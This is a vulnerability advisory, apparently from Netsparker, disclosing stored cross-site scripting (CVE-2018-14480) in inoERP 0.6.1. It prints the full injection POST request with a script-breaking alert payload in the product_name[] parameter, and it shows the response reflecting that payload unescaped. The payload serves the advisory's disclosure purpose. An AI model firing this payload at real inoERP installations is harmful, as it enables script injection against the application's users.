Information
--------------------
Advisory by Netsparker
Name: Stored Cross-site Scripting in inoERP 0.6.1
Affected Software: inoERP
Affected Versions: 0.6.1
Homepage: https://github.com/inoerp/inoERP
Vulnerability: Stored Cross-site Scripting
Severity: Critical
Status: Not Fixed
CVE-ID: 2018-14480
CVSS Score (3.0):  AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L (6.5)
Netsparker Advisory Reference: NS-18-011

Technical Details
--------------------

Injection Request:

URL: http://{domain}/{inoerp_path}/?dtype=product&class_name=ec_confirm_order
Parameter Name: product_name[]
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00EF02)</scRipt>
POST /{inoerp_path}/?dtype=product&class_name=ec_confirm_order HTTP/1.1

Host: {domain}

Cookie: INOERP123123={cookie}

ec_cart_id[]=3&user_id[]=Smith&ec_product_id[]=3&currency[]=$ &tax_code[]=NA&sales_price[]=3&product_name[]='"--></style></scRipt><scRipt>alert(0x00EF02)</scRipt>&quantity[]=1&discount_code[]=3&pin_code[]=3&tax_amount[]=3&total_amount[]=3&description[]=208.100.0.117

Identification Request:

POST /{inoerp_path}/?dtype=product&class_name=ec_confirm_order HTTP/1.1
Host: {domain}
Cookie: INOERP123123={cookie}

ec_cart_id[]=&user_id[]=&ec_product_id[]=&currency[]=&tax_code[]=

Identification Response:

HTTP/1.1 200 OK
......
......
<td>'"--></style></scRipt><scRipt>alert(0x00EF02)</scRipt></td>
......
......

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

9th October 2017 - First Contact
10th October 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Omer Citak while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.